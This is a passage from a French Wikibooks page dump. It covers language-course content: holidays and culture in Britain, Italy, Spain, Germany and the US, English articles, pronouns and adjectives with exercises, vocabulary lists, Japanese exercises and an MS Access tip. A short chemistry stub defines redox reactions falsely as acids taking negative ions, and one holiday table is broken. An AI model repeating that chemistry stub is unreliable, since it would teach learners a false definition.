Jahrhundert (s,e) : ''le siècle''<br /> <br /> Retour [[Enseignement de l'allemand]] La culture anglaise 3227 43108 2006-05-24T18:46:44Z 217.225.126.183 /* La cuisine anglaise (et plus généralement britannique) */ == Fêtes et jours fériés == {| border="1" align="center" cellpadding="5" style="border-collapse:collapse;margin-top:0.5em;border: 1px #666666 solid;" |+ '''Fêtes et jours fériés''' |- style="background:#efefef;" ! Date !! Nom français !! Nom local !! Remarques |- | 1er janvier | Jour de l'an || New Year's Day | Le premier jour de la nouvelle année est férié partout |----- | 2 janvier || Second jour de l'an | January 2nd Holiday | Le second jour de la nouvelle année est férié en Écosse seulement |----- 1er mars St David St David's day Pays de Galles | 17 mars || St Patrick || St Patrick's Day | Jour férié en Irlande du nord seulement 23 avril St Georges St Georges'day Angleterre |----- | Pâques est le premier dimanche qui suit la première pleine Lune de Printemps.<br /> Vendredi avant le Dimanche de Pâques. | Vendredi saint || Good Friday | Crucifixion de Jésus-Christ |----- | Lundi suivant le dimanche de Pâques. | Lundi de Pâques || Easter Monday | Résurrection de Jésus (pas en Écosse) |----- | Premier lundi de mai || 1er mai | May Day | Traditionnellement 1er mai |----- | Dernier lundi de mai ou premier lundi de juin | Jour férié du printemps || Spring Bank Holiday | Traditionnellement Pentecôte |----- | 12 juillet || Bataille de la Boyne | Battle of the Boyne / Orangemen's Holiday | Jour férié pour l'Ordre Orange (en Irlande du nord seulement) |----- | Premier lundi d'août || Jour férié de l'été | Summer Bank Holiday || Jour traditionnel (en Écosse seulement) |----- | Dernier lundi d'août || Jour férié de l'été | Summer Bank Holiday || Jour traditionnel (pas en Écosse) I - --- 31 Octobre ll Halloween ll 5 Novembre ll Guy Fawkes'Day I---- | 25 décembre || Noël || Christmas Day | Naissance de Jésus-Christ |----- | 26 décembre || Lendemain de Noël | Boxing Day || |} == La cuisine anglaise (et plus généralement britannique) == voir [[Image:Wikibooks-logo-fr.png|40px]] [[Livre_de_Cuisine]] <br />[[Enseignement de l'anglais]] Image:Raye10.gif 3228 14759 2005-04-15T18:54:23Z Antoinel 182 Livres {{GFDL}} Livres {{GFDL}} Image:Wikibooks-livres.gif 3229 43105 2006-05-24T18:46:07Z 217.225.126.183 Livres {{GFDL}} {{nowCommons|Wikibooks-logo-fr.png}} Image:Wikibooks-page.gif 3230 14761 2005-04-15T18:59:10Z Antoinel 182 Page {{GFDL}} Page {{GFDL}} Aide:Syntaxe 3231 14762 2005-04-16T09:00:53Z Patrick 177 #REDIRECT [[Wikilivres:Syntaxe]] #REDIRECT [[Wikilivres:Syntaxe]] Italien:Culture italienne 3233 43107 2006-05-24T18:46:32Z 217.225.126.183 /* Cuisine italienne */ == Fêtes et jours fériés == {| border="1" align="center" cellpadding="5" style="border-collapse:collapse;margin-top:0.5em;border: 1px #666666 solid;" |- style="background:#efefef;" ! Date !! Nom français !! Nom local !! Remarques |- | 1er janvier || Jour de l'an || ''Capodanno'' | &nbsp; |----- | 6 janvier || Épiphanie || ''Epifania'' | &nbsp; |----- | ''Mobile'' || Pâques || ''Pasqua'' | &nbsp; |----- | ''Mobile'' || Lundi de Pâques || ''Lunedì dell'Angelo'' ou "Pasquetta" | &nbsp; |----- | 25 avril || Libération || ''Liberazione'' | 1945 |----- | 1er mai || Fête du travail || ''Festa del Lavoro'' | &nbsp; |----- | 2 juin || Fête de la République || ''Festa della Repubblica'' | 1946 |----- | 15 août || Assomption || ''Assunzione'' (pop. Ferragosto) | &nbsp; |----- | 1er novembre || Toussaint || ''Tutti i santi'' | &nbsp; |----- | 8 décembre || Immaculée Conception | ''Immacolata'' || &nbsp; |----- | 25 décembre || Noël || ''Natale'' | &nbsp; |----- | 26 décembre || Saint-Étienne | ''Santo Stefano'' || &nbsp; |----- | 31 décembre || Saint-Sylvestre | ''San Silvestro'' (n'est pas un jour férié officiel) || &nbsp; |} == Cuisine italienne == voir le [[Cuisine:Recettes de cuisine italienne|Livre de cuisine]] [[Image:Wikibooks-logo-fr.png|50px]] Espagnol:Culture espagnole 3234 43106 2006-05-24T18:46:24Z 217.225.126.183 /* Cuisine espagnole */ * Peintres célèbres : [[w:fr:Pablo Picasso|Pablo Picasso]], [[w:fr:Diego Velasquez|Diego Velasquez]], [[w:fr:Salvador Dalí|Salvador Dalí]]. * cinéastes : [[w:fr:Luis Buñuel|Luis Buñuel]], [[w:fr:Pedro Almodóvar|Pedro Almodóvar]], [[w:fr:Alejandro Amenábar|Alejandro Amenábar]] == Cuisine espagnole == voir le [[Cuisine:Recettes de cuisine espagnole|Livre de cuisine]] [[Image:Wikibooks-logo-fr.png|50px]] <br /> Retour [[Enseignement de l'espagnol]] Anglais:Articles 3235 25489 2005-11-15T16:28:09Z 128.172.143.112 /* Noms propres */ __NOTOC__ == L'article indéfini == En anglais, l'article indéfini correspond à '''a''' ou '''an'''. On l'utilise pour introduire un nom que l'on ne connaît pas ou que l'on rencontre pour la première fois.<br />Exemple : There is a tree. ''Il y a un arbre.'' <br /> On emploie généralement '''an''' pour un nom commençant par une voyelle et '''a''' pour un nom commençant par une consonne.<br />Exemple : I've seen an animal. ''J'ai vu un animal.'' It was a dog. ''C'était un chien.'' <br /> Cependant, avant un '''h''' aspiré, on garde '''a'''.<br />Exemple : a horrible war. <br />Quand le '''h''' n'est pas aspiré (hour, honest, honour), on utilise '''an'''. <br />Si un mot commence par une voyelle est que la prononciation est difficile, on emploie '''a'''.<br />Exemple : a university. a European. === Pluriel === '''a/an''' n'a pas de pluriel.<br />Exemple : I've eaten apples. ''J'ai mangé des pommes''. === Emplois particuliers === * Pour introduire une profession ou un statut.<br />Exemple : She is a nurse. ''Elle est infirmière.'' His father is an invalid. ''Son père est invalide.'' * Après ''such'' ou ''what''. Exemple : What a beautiful day. ''Quelle belle journée.'' * Dans des expressions. Exemple : I have a headache. ''J'ai mal à la tête.'' * Après une préposition. Exemple : as a bomb. ''comme une bombe.'' == L'article défini == En anglais, l'article défini est '''the''', aussi bien devant une voyelle qu'une consonne. On l'utilise pour quelque chose qui a déjà été ou qui va être mentionné, pour une situation, ou pour qu'elle chose connu de tous.<br />Exemple : I The teacher is not here. ''Le professeur n'est pas là.''<br />Can you open the window ? ''Peux-tu ouvrir la fenêtre ?''<br />the sea. ''la mer''. === Pluriel === On emploie également '''the''' au pluriel.<br />Exemple : Where are the children ? ''Où sont les enfants. '' == La généralité == Lorsque l'on parle de quelque chose de général, on n'emploie pas d'article (Ø) (là où en français on utiliserait ''la, le, les'').<br />I like mountains. ''J'aime la montagne.'' Science is the future. ''La science est l'avenir.'' Poverty, racism, food : ''la pauvreté, le racisme, la nourriture.'' <br /> <br /> [[Image:Panneau attention 20.png]] Attention à bien différencier la généralité d'un particulier.<br />I like music. ''J'aime la musique (la musique en général).'' I didn't like the music I heard yesterday. ''Je n'ai pas aimé la musique que j'ai entendu hier (une musique particulière).'' == Noms propres == On ne place pas d'articles devant un nom propre. * de personnes. Exemple : Queen Elisabeth et non <strike>the Queen Elisabeth.</strike> King Albert et non <strike>the King Albert</strike>. * de lieux. Oxford Street. <strike>the Oxford Street</strike> * de villes, de bâtiments. London Airport. * les sports. I like soccer. * les noms de pays singulier. France, Japon ... [[Image:Panneau attention 20.png]] Les noms de pays au pluriel sont précédés de '''the'''. Exemple : the Netherlands, the United States. * un nom de langue. Exemple : I learn English. * les noms de jour, de mois. Exemple : I go out on Saturday. ''Je sors le samedi.'' == Application == [[Image:Evolution-tasks.png]] [[Anglais:Articles_Exercices|Exercices sur les articles]] <br /> ---- Retour [[Enseignement de l'anglais]] ---- Anglais:Articles Exercices 3236 37941 2006-03-16T10:14:03Z 62.161.112.183 /* Exercice 2 */ __NOTOC__ Voir [[Image:Wikibooks-page.gif]] [[Anglais:Articles|le cours]]. == Exercice 1== Complétez par '''a''', '''an''' ou '''Ø''' : # ___ exercice # ___ one-way street # ___ flowers # ___ boy # ___ hour == Texte de sous-titre == == Exercice 2 == Complétez avec '''a''' ou '''the''' : # Yesterday, I met ___ girl. Her name is Mary. # ___ girl I met yesterday is Mary. # Where is ___ dog ? # This evening, we will be able to see ___ moon. # Have you got ___ pen ? == Exercice 3 == Choisissez entre '''a''', '''an''', '''Ø''', et '''the'''. # In this street, I can see ___ tree and ___ river. ____ tree has ____ leaves (feuilles). # ___ boy I saw yesterday lives in ___ England. # Do you know ___ girl who likes ___ United States ? # ___ girls are more tolerant than ___ boys. # He is against ___ poverty. # Her father is ___ farmer. == Solutions == ==== Exercice 1 ==== # an exercice # a one-way street (prononciation) # Ø flowers # a boy # an hour ==== Exercice 2 ==== # Yesterday, I met a girl. Her name is Mary. # The girl I met yesterday is Mary. # Where is the dog ? # This evening, we will be able to see the moon. # Have you got a pen ? ==== Exercice 3 ==== # In this street, I can see a tree and a river. The tree has leaves (feuilles). # The boy I saw yesterday lives in Ø England. # Do you know a girl who likes the United States ? # Ø girls are more tolerant than Ø boys. # He is against Ø poverty. # Her father is a farmer. <br /> Retour [[Enseignement de l'anglais]] Allemand:Culture allemande 3240 18857 2005-08-08T15:13:50Z 80.156.44.1 /* Fêtes et jours fériés */ == Le système politique allemand == L'Allemagne est une République fédérale.<br /> Le chancelier (Bundeskanzler), chef du gouvernement, est élu par le parlement. Les membres du parlement (Bundestag) sont élus pour une durée de quatre ans. <br /> <table><tr><td>L'Allemagne est divisée en 16 Länder (États fédérés): # Bade-Wurtemberg, capitale : Stuttgart # Bavière, capitale : Munich # Berlin, ville-État # Brandebourg, capitale : Potsdam # Brême, ville-État # Hambourg, ville-État # Hesse, capitale Wiesbaden # Mecklembourg-Poméranie occidentale, capitale Schwerin # Basse-Saxe, capitale : Hanovre # Rhénanie-du-Nord-Westphalie, capitale Düsseldorf # Rhénanie-Palatinat, capitale Mayence # Sarre, capitale Sarrebruck # Saxe, capitale Dresde # Saxe-Anhalt, capitale Magdebourg # Schleswig-Holstein, capitale Kiel # Thuringe, capitale Erfurt </td><td>[[Image:Map objekt and num file final.png|300px]]</td></tr></table> == Fêtes et jours fériés == Du fait de la nature fédérale de l'Allemagne, les fêtes et jours fériés peuvent varier en fonction de l'état fédéré considéré. <br /> 1er janvier : Jour de l'An / Neujahr <br /> 6 janvier : Les Rois Mages / Die Heiligen Drei Könige (férié en Bade-Wurtemberg, Bavière, Saxe-Anhalt)<br /> 29 mars : Vendredi Saint / Karfreitag<br /> 31 mars et 1er avril : Pâques / Ostern<br /> 1er mai : Fête du Travail / Maifeiertag<br /> 9 mai : Ascension / Christi Himmelfahrt<br /> 19 et 20 mai : Pentecôte / Pfingsten<br /> 30 mai : Fête Dieu / Fronleichnam (férié en Bade-Wurtemberg, Bavière, Hesse, Rhénanie-du-Nord-Westphalie, Rhénanie-Palatinat, Sarre)<br /> 15 août : Assomption / Mariä Himmelfahrt (férié en Bavière et en Sarre)<br /> 3 octobre : Fête nationale: Jour de la Réunification allemande / Tag der Deutschen Einheit (Deutsche Vereinigung)<br /> 31 octobre : Fête de la Réformation / Reformationstag (férié en Brandebourg, Mecklembourg-Poméranie occidentale, Saxe, Saxe-Anhalt, Thuringe)<br /> 1er novembre : Toussaint / Allerheiligen (férié en Bade-Wurtemberg, Bavière, Rhénanie-du-Nord-Westphalie, Rhénanie-Palatinat, Sarre)<br /> 20 novembre : Jour de Pénitence et de Prières / Buß- und Bettag (férié en Saxe)<br /> 25 et 26 décembre : Noël / Weihnachten<br /> == La Bière == (en cours de contruction) Retour [[Enseignement de l'allemand]] Image:Liechtenstein flag medium.png 3241 14769 2005-04-17T06:50:48Z Antoinel 182 Drapeau du Liechtenstein {{GFDL}} Drapeau du Liechtenstein {{GFDL}} Anglais:Impératif 3242 43723 2006-06-01T18:38:53Z 82.237.34.133 /* Forme affirmative */ == Forme affirmative == L''''impératif''' se forme à l'aide de l'infinitif '''sans to''' (= base verbale).<br /> {| width=75% |style="background-color: #F3F3FF; border: solid 1px #D6D6FF ; padding: 1em; text-align: center"|'''INFINITIF''' (sans to) + '''COMPLEMENT''' |} <br /> * Pour reforcer un impératif, on peut utiliser '''DO'''.<br />Exemple : Do stop talking ! ''Mais arrête de parler !'' * Always et never peuvent précéder l'impératif.<br />Exemple : Never come in without knocking. ''Ne rentre jamais sans frapper.'' * L'impératif anglais peut correspondre à un futur français (avec aller), pour donner des instructions. <br />Exemple : Go straight ahead for two hundreds meters, then turn right. ''Vous irez tout droit pendant deux cents mettre et ensuite vous tournerez à droite.''<br />L'impératif peut également correspondre à un présent français.<br />Exemple : Keep quiet. ''tu restes calme ! '' == Forme négative == L'impératif négatif se forme à l'aide de '''don't''' et de l'infinitif '''sans to'''. {| width=75% |style="background-color: #F3F3FF; border: solid 1px #D6D6FF ; padding: 1em; text-align: center"|'''DON'T''' + '''INFINITIF''' (sans to) + '''COMPLEMENT''' |} <br />Exemple : Don't move ! ''Ne bouge pas !'' == Application == [[Anglais:Impératif_Exercices|Exercices sur l'impératif]] <br />Retour [[Enseignement de l'anglais]] Réactions Redox (Chimie générale) 3243 14771 2005-04-17T12:43:03Z 82.225.47.27 nt le Une réaction d'oxydo-réduction est une réaction durant laquelle un acide prend un ion négatif et une base perd un ion négatif. L'ancienne nomanclature est rréaction redox mais elle a été abandonnée car elle l'oxydant est toujours cité avant le réducteur c'est donc plus logique de dire oxydo-réduction. Anglais:Pronoms 3244 16475 2005-07-14T07:24:09Z S3b 133 /* Les pronoms réfléchis */ typo html [[en:English:Pronouns]] [[de:Englisch: Personalpronomen]] __NOTOC__ == Les pronoms personnels == === Les pronoms personnels sujets === <table border="1" cellpadding="5" cellspacing="1" style="background-color: #CCFFCC"> <tr> <td> 1ère personne (sing) </td><td> I </td><td> Je </td></tr> <tr> <td> 2ème personne (sing) </td><td> You </td><td> Tu </td></tr> <tr> <td> 3ème personne (sing, masculin) </td><td> He </td><td> Il </td></tr> <td> 3ème personne (sing, féminin) </td><td> She </td><td> Elle </td></tr> <td> 3ème personne (sing, neutre) </td><td> It </td><td> </td></tr> <tr> <td> 1ère personne (plur) </td><td> We </td><td> Nous </td></tr> <tr> <td> 2ème personne (plur) </td><td> You </td><td> Vous </td></tr> <tr> <td> 3ème personne (plur) </td><td> They </td><td> Ils/Elles </td></tr> </table> <br /> Exemple : '''I''' live in Germany. ''J'habite en Allemagne.'' Where does '''he''' live ? ''Où habite-t-il ?'' === Les pronoms personnels compléments === Les pronoms personnels compléments remplissent la fonction COD ou COI. <table border="1" cellpadding="5" cellspacing="1" style="background-color: #CCFFCC"> <tr> <td> 1ère personne (sing) </td><td> me </td><td> me / moi </td></tr> <tr> <td> 2ème personne (sing) </td><td> you </td><td> te / toi</td></tr> <tr> <td> 3ème personne (sing, masculin) </td><td> him </td><td> lui / le</td></tr> <td> 3ème personne (sing, féminin) </td><td> her </td><td> elle / la </td></tr> <td> 3ème personne (sing, neutre) </td><td> it </td><td> il/lui/elle/la</td></tr> <tr> <td> 1ère personne (plur) </td><td> us </td><td> nous </td></tr> <tr> <td> 2ème personne (plur) </td><td> you </td><td> vous / vous </td></tr> <tr> <td> 3ème personne (plur) </td><td> them </td><td> leur/les/eux </td></tr> </table> <br /> * En anglais, ils se placent toujours après le verbe contrairement au français.<br />Exemple : I don't like '''him'''. Et non <strike>I him don't like.</strike> ''Je ne l'aime pas''. * Lorsqu'un pronom complément remplit la fonction COI, il peut être précédé de '''to'''.<br />Exemple : I explain to her. ''Je lui explique.''<br />Cependant ce n'est pas toujours le cas. I gave him a present. ''Je lui ai donné un cadeau.'' <br /> [[Image:Panneau attention 20.png]] Attention, lorsque le complément est le même que le sujet, on emploie un pronom réfléchi. == Les pronoms réfléchis == Généralement les pronoms réfléchis renvoient à la même personne que le sujet.<br /> <table border="1" cellpadding="5" cellspacing="1" style="background-color: #CCFFCC"> <tr> <td> 1ère personne (sing) </td><td> myself</td><td> moi-même / me </td></tr> <tr> <td> 2ème personne (sing) </td><td> yourself</td><td> toi-même / te </td></tr> <tr> <td> 3ème personne (sing, masculin) </td><td> himself</td><td> lui-même / se </td></tr> <td> 3ème personne (sing, féminin) </td><td> herself</td><td> elle-même / se / les siennes </td></tr> <td> </td><td> oneself </td><td> soi-même </td></tr> <tr> <td> 1ère personne (plur) </td><td> ourselves</td><td> nous-même / nous </td></tr> <tr> <td> 2ème personne (plur) </td><td> yourselves</td><td> vous-même / vous </td></tr> <tr> <td> 3ème personne (plur) </td><td> themselves </td><td> eux-même/ elles-même / se </td></tr> </table> <br /> Exemple : He washes his car himself. ''Il lave sa voiture lui-même.'' She looks at herself for hours in her mirror. ''Elle se regarde pendant des heures dans son miroir.'' <br /> * Le pronom réfléchi peut aussi être utilisé après '''by''' et signifie ''tout(e)''. <br />Exemple : Do it by yourself. ''Fais-le tout seul.'' == Les pronoms possessifs == Le pronom possessif renvoit à un objet possédé et à un possesseur. <table border="1" cellpadding="5" cellspacing="1" style="background-color: #CCFFCC"> <tr> <td> mine </td><td> à moi </td><td> le mien / la mienne / les miens / les miennes </td></tr> <tr> <td>yours </td><td> à toi </td><td> le tien / la tienne / les tiens / les tiennes </td></tr> <tr> <td>his </td><td> à lui </td><td> le sien / la sienne / les siens / les siennes </td></tr> <tr> <td>hers </td><td> à elle </td><td> le sien / la sienne / les siens / les siennes </td></tr> <tr> <td>ours </td><td> à nous </td><td> le nôtre / la nôtre / les nôtres </td></tr> <tr> <td> theirs </td><td> à eux </td><td> le leur / la leur / les leurs </td></tr> </table> <br /> Exemple : This bike is '''mine'''. ''Ce vélo est le mien.'' And this one is '''yours'''. ''Et celui-ci est le tien.'' ---- <br />Retour [[Enseignement de l'anglais]] Modèle:Wikipédia 3245 25578 2005-11-17T14:24:06Z Guillaumito 46 les valeurs de class sont séparées par des espaces, pas par des virgules {| border="0" width="35%" cellpadding="5" class="noprint floatright" style="float: right; border:solid #03A 1px; margin:0em 0em 0.5em 0.5em; width:35%;" |- |[[Image:Wikipedia.png|50px|none|<nowiki></nowiki>]] | width="100%" | '''[[w:Wikipédia|Wikipédia]]''' possède un article à propos de '''''[[w:{{{1}}}|{{{1}}}]]'''''. |} Anglais:Adjectifs 3246 22789 2005-10-10T22:43:48Z Greudin 1 rv [[en:English:Adjectives]] == Les adjectifs possessifs== En anglais, les adjectifs possessifs s'accordent en fonction du possesseur.<br /> Exemple : He washes his car. ''Il lave sa voiture.'' <br /> <table border="1" cellspacing="0" style="background-color: #FFCCCC"> <tr><td> 1ère personne du singulier </td><td width=120> <center>'''my''' </center> </td><td width=100> <center>'''mon, ma, mes'''</center></td></tr> <tr><td > 2ème personne du singulier </td><td> <center>'''your'''</center> </td><td> <center>'''ton, ta, tes'''</center></td></tr> <tr><td> 3ème personne du singulier (masculin) </td><td> <center>'''his''' </center></td><td> <center>'''son, sa, ses'''</center></td></tr> <tr><td> 3ème personne du singulier (féminin) </td><td> <center>'''her''' </center></td><td> <center>'''son, sa, ses'''</center></td></tr> <tr><td> 3ème personne du singulier (neutre) </td><td> <center>'''its''' </center></td><td> <center>'''son, sa, ses'''</center></td></tr> <tr><td> 1ère personne du pluriel </td><td> <center>'''our''' </center></td><td> <center>'''notre, nos'''</center></td></tr> <tr><td> 2ème personne du pluriel </td><td> <center>'''your''' </center></td><td> <center>'''votre, vos'''</center></td></tr> <tr><td> 3ème personne du pluriel </td><td> <center>'''their'''</center> </td><td> <center>'''leur, leurs'''</center></td></tr> </table> == Les adjectifs épithètes == * Les adjectifs épithètes ne prennent pas de ''-s'' au pluriel.<br />Exemple : the poor girls : ''les pauvres filles'' * L'adjectif épithète se place toujours avant le nom qu'il qualifie, même quand il y en a plusieurs.<br />Exemple : red shoes : ''des chaussures rouges''. a nice yellow car : ''une jolie voiture jaune''. * Lorsqu'il y a plusieurs adjectifs, ils se suivent dans l'ordre suivant : taille / âge / couleur / origine / matière / fonction. Heureusement il est rare qu'autant d'adjectifs qualifient un nom. Les adjectifs n'appartenant pas à ces catégories se placent devant.<br />Exemple : a small blue German car : ''une petite voiture bleue allemande'' -> small (taille), blue (couleur), German (origine)<br />a young French player : ''un jeune joueur français.'' -> young (âge), French (origine)<br /> * Un adjectif exprimant un jugement subjectif se place en tête.<br />Exemple : a pleasant young girl : ''une sympathique jeune fille''. * '''Last''', '''next''' et '''first''' précèdent les nombres. <br />Exemple : ''the last ten months : ''les dix derniers mois''. the first two weeks : ''les deux premières semaines.'' == Les adjectifs composés == <br /> Retour [[Enseignement de l'anglais]] Expressions & Dictons (Japonais) 3247 20461 2005-09-02T13:08:56Z Duarna 465 +modèle Retour à la [[Table des matières (Japonais)|table des matières]]. <sub>わたし         あい</sub><br /> <big>私はあなたを愛する</big> (watashi ha anata wo ai suru): Je t'aime {{Glossaires_de_Japonais}} [[Catégorie:Japonais]] [[Catégorie:Glossaires_de_Japonais]] Japonais Exercices:R002 006 3249 14777 2005-04-19T04:12:25Z Genepi2 249 Ajout de la traduction == Solution == {| border="1" | <sub>なんばん</sub><br /> <big>'''何番'''</big> |} ---- <sub>           でんわ ばんごう <font color="green">'''なんばん'''</font></sub><br /> <big>6.あなたの電話番号は<font color="green">'''何番'''</font>ですか。</big><br /> <sub>          わたし でんわ ばんごう まる|きゅう|まる|さん|よん|さん|よん| ご| よん </sub><br /> <big>      - 私の電話番号は0 9 0 3 4 3 4 5 4です。</big><br /> == Traduction == - Quel est ton numéro de téléphone ?<br /> - Mon numéro de téléphone est : 090343454.<br /> ---- [[Japonais:Pool d'exercices#Exercice 002|Retour à l'exercice]] [[Catégorie:Exercices (Japonais)]] Japonais:Vocabulaire Expressions 3251 14779 2005-04-18T04:01:55Z Genepi2 249 Japonais:Vocabulaire Expressions déplacé vers Expressions & Dictons (Japonais) #REDIRECT [[Expressions & Dictons (Japonais)]] Allemand : Die Gesundheit : la santé 3252 27074 2005-12-19T14:05:34Z 82.254.77.235 /* die Krankheit (en) : ''la maladie'' */ == die Krankheit (en) : ''la maladie'' == krank sein : ''être malade''<br />den Arzt kommen lassen : ''faire venir le médecin''<br />sich erkälten : ''prendre froid''<br />krank werden : ''tomber malade''<br />erkranken : ''tomber malade''<br />allergisch : ''allergique''<br />die Angina : ''l'angine''<br />das Asthma : ''l'asthme'' == die Apotheke (n) : ''la pharmacie'' == der Apotheker (s,-) : ''le pharmacien''<br />die Arznei (-) : ''le médicament''<br />das Aspirin (s) : ''l'aspirine''<br />die Pille (n) : ''la pilule''<br /> == das Spital (s, ¨er) : ''l'hôpital''== der Chirurg (en,en) : ''le chirurgien''<br />die Krankenpflegerin -,nen) : ''l'infirmière''<br />die Operation (nen) : ''l'opération''<br /> <br /> ---- Retour au [[Enseignement de l'allemand|sommaire]] ---- Programmation PHP:Premier programme (Hello World!) 3253 30267 2006-01-25T08:58:09Z Boly38 136 renommer en sous page #REDIRECT [[Programmation PHP/Premier programme]] La culture américaine 3255 24774 2005-11-02T19:58:24Z Marc 66 rv La culture américaine est souvent associée à l'american way of life. == Sports == * football américain (NFL) * baseball (MLB) * basket-ball (NBA) * hockey (NHL) == Religion (source : wikipédia) == Presque 80% des Américains se disent croyants, et plus que la moitié des Américains sont pratiquants, un taux de participation bien plus élevé qu'en France ou au Québec. Bien que les deux tiers des croyants américains soient protestants, l'Église catholique domine dans les grandes villes du nord-est (surtout à New York, à Boston et à Philadelphie), du Middle West (Chicago et Milwaukee), de la côte ouest (Los Angeles et San Francisco), dans une métropole d'origine française (La Nouvelle-Orléans) et dans plusieurs villes à majorité hispanique (Miami et San Antonio). D'importantes communautés juives se sont établies à New York, à Los Angeles, et dans l'agglomération de Washington. Pourtant, toutes ces exceptions confirment la règle: les confessions protestantes ont une forte présence presque partout aux États-Unis. L'Église mormone s'est concentrée sur deux États: l'Utah et l'Idaho. Un mouvement protestant "évangélique" dont quelques groupes à tendance intégriste (fundamentalist) est de plus en plus actif au niveau politique et social. Néanmoins, ce mouvement reste toujours minoritaire au sein des églises protestantes, même dans les régions où il est le mieux organisé: en Alaska et dans les États du Vieux Sud, du Texas jusqu'en Virginie. Il faut noter que le président des États-Unis, George W. Bush, et la sénatrice de l'État de New York, Hillary Rodham Clinton, sont adhérents du même culte — l'Église méthodiste unie (8 millions de membres, de tendance modérée). <br /> ---- Retour [[Enseignement de l'anglais]] ---- Anglais : The weather, le temps 3256 14783 2005-06-17T09:06:24Z 194.7.45.230 /* The rain : ''la neige'' */ What's the weather like ? : ''Quel temps fait-il ?''<br /> __NOTOC__ heat : ''chaud''<br />cold : ''froid'' == The sun : ''le soleil'' == to shine : ''briller''<br />shiny : ''ensoleillé'' == The wind : ''le vent'' == to blow : ''souffler''<br />a storm : ''une tempête''<br /> a hurricane : ''un ouragan'' == The snow : ''la neige'' == the fog : ''le brouillard''<br />it's foggy : ''il y a du brouillard''<br />the mist : ''la brume'' == The rain : ''la pluie'' == to rain : ''pleuvoir''<br />a raindrop : ''une goutte de pluie''<br />a thunderstorm : ''un orage''<br />thunder : ''le tonnerre''<br />lightning : ''la foudre'' <br />Retour [[Enseignement de l'anglais]] Anglais : Army, l'armée 3257 23868 2005-10-22T11:13:45Z 62.39.241.15 /* a soldier : ''un soldat'' */ == a soldier : ''un soldat'' == a regiment : ''un régiment''<br />an officer : ''un officier''<br />a general : ''un général''<br />a colonel : ''un colonel''<br />a major : ''un commandant''<br />a lieutenant : ''un lieutenant''<br />a sergeant : ''un sergent''<br />a corporal : ''un caporal'' == war : ''la guerre'' == a civil war : ''une guerre civile''<br />a fight : ''un combat''<br />an assault : ''un assaut''<br />a battle : ''une bataille''<br />a defeat : ''une défaite''<br />a retreat : ''une retraite''<br />a disaster : ''un désastre''<br />a battlefield : ''un champ de bataille'' == a weapon : une arme == a gun, a rifle : ''un fusil''<br />a revolver : ''un revolver''<br />a pistol : ''un pistolet''<br />a bullet : ''une balle''<br />a sword : ''une épée''<br />a bow : ''un arc''<br />an arrow : ''une flèche''<br />an axe : ''une hache''<br />a spear : ''une lance''<br />a coat of mail : ''une cotte de mailles''<br />a helmet : ''un casque''<br />a shield : ''un bouclier''<br />an armour : ''une armure''<br /> == the land forces (ou ground forces): ''l'armée de terre'' == a tank : ''un char''<br /> <br /> Retour [[Enseignement de l'anglais]] Anglais : Gardening, le jardinage 3258 26511 2005-12-05T16:18:50Z 193.48.4.6 to graft : ''greffer''<br />to water : ''arroser''<br /> <br /> a spade : ''une bêche''<br />a shovel : ''une pelle''<br />a rake : ''un râteau''<br />a pruning-knife : ''un sécateur''<br />a trowel : ''une truelle''<br />a wheel-barrow : ''une brouette''<br />a hose : ''un tuyau d'arrosage''<br />a watering-can : ''un arrosoir''<br />a flowerpot : ''un pot de fleur'' == fruit : ''les fruits''== an apple : ''une pomme''<br />an apricot : ''un abricot''<br />a cherry : ''une cerise''<br />a raspberry : ''une framboise''<br />a strawberry : ''une fraise'' == a tree : ''un arbre'' == a tree trunk : ''un tronc d'arbre'' == a flower : ''une fleur'' == a sunflower : ''un tournesol''<br />a tulip : ''une tulipe''<br /> <br /> Retour [[Enseignement de l'anglais]] Allemand : Die Staat : l'Etat 3259 41629 2006-05-05T14:20:36Z 88.134.99.231 das Staatsoberhaupt (es) : ''le chef de l'Etat''<br />der Bundeskanzler : ''le chancelier fédéral'' die gesetzgebende Gewalt : ''le pouvoir législatif''<br />die ausführende Gewalt : ''le pouvoir exécutif''<br />die rechtsprechende Gewalt : ''le pouvoir judiciaire'' der Bundestag : ''l'assemblée fédérale''<br />der Bundestagspräsident : ''le président de l'assemblée''<br />das Parlament : ''le parlement''<br />der Bundesrat : ''le conseil fédéral'' die Regierung (en) : ''le gouvernement''<br />der Premierminister () : ''le premier ministre''<br />der Minister (-) : ''le ministre''<br />der Innenminister (-) : ''le ministre de l'intérieur''<br />der Außenminister (-) : ''le ministre des affaires étrangères''<br />der Erziehungsminister (-) : ''le ministre de l'éducation''<br />der Justizminister (-) : ''le ministre de la justice''<br />der Wirtschaftsminister (-) : ''le ministre de l'économie''<br />der Verteidigungsminister (-) : ''le ministre de la défense'' ein laizistischer Staat : ''un Etat laïque'' <br />Retour [[Enseignement de l'allemand]] Japonais Exercices:R002 007 3261 14787 2005-04-19T04:25:26Z Genepi2 249 /* Solution */ == Solution == {| border="1" | <sub>なんばん</sub><br /> <big>'''何番'''</big> |} ---- <sub>   こ ども  にち  ご がつ <font color="green">'''なんにち'''</font></sub><br /> <big>7.子供の日は5月の<font color="green">'''何日'''</font>ですか。</big><br /> <sub>          ご がついつか</sub><br /> <big>      - 5月5日です。</big><br /> == Traduction == - Le jour des enfants, c'est quel jour du mois de mai ?<br /> - C'est le 5 mai.<br /> == Note == <sub>          ご がつ'''いつか'''</sub><br /> <big>      - 5月'''5日'''です。</big><br /> Réviser le comptage des jours. ---- [[Japonais:Pool d'exercices#Exercice 002|Retour à l'exercice]] [[Catégorie:Exercices (Japonais)]] Catégorie:Trucs et astuces (MS Access) 3262 14788 2005-04-19T07:02:01Z Genepi2 249 [[Catégorie:Microsoft Access]] Ce livre contient des trucs et astuces pour débloquer les petits soucis que l'on peut rencontrer avec [[w:fr:Microsoft Access|Microsoft Access]]. Actualisation d'un sous-formulaire MS Access 3263 14789 2005-04-19T07:12:59Z Genepi2 249 [[Catégorie:Trucs et astuces (MS Access)]] [[Catégorie:Formulaires (MS Access)]] == Problème d'actualisation d'un sous-formulaire == Il arrive qu'un sous-formulaire ne s'actualise pas automatiquement après le choix d'une valeur dans une liste déroulante du formulaire principal. Il est alors nécessaire de fermer-ouvrir le formulaire ou de passer à l'enregistrement suivant et de revenir à l'enregistrement de travail. Ces deux manipulations ne sont pas pratiques. Le code suivant peut être utilisé pour résoudre le problème:<br /> Private Sub ''NomChampDéroulant''_AfterUpdate() Me.Recalc End Sub Catégorie:Formulaires (MS Access) 3264 14790 2005-04-19T07:17:13Z Genepi2 249 [[Catégorie:Microsoft Access]] Cette catégorie a pour ambition de documenter un tutoriel pour l'apprentissage du 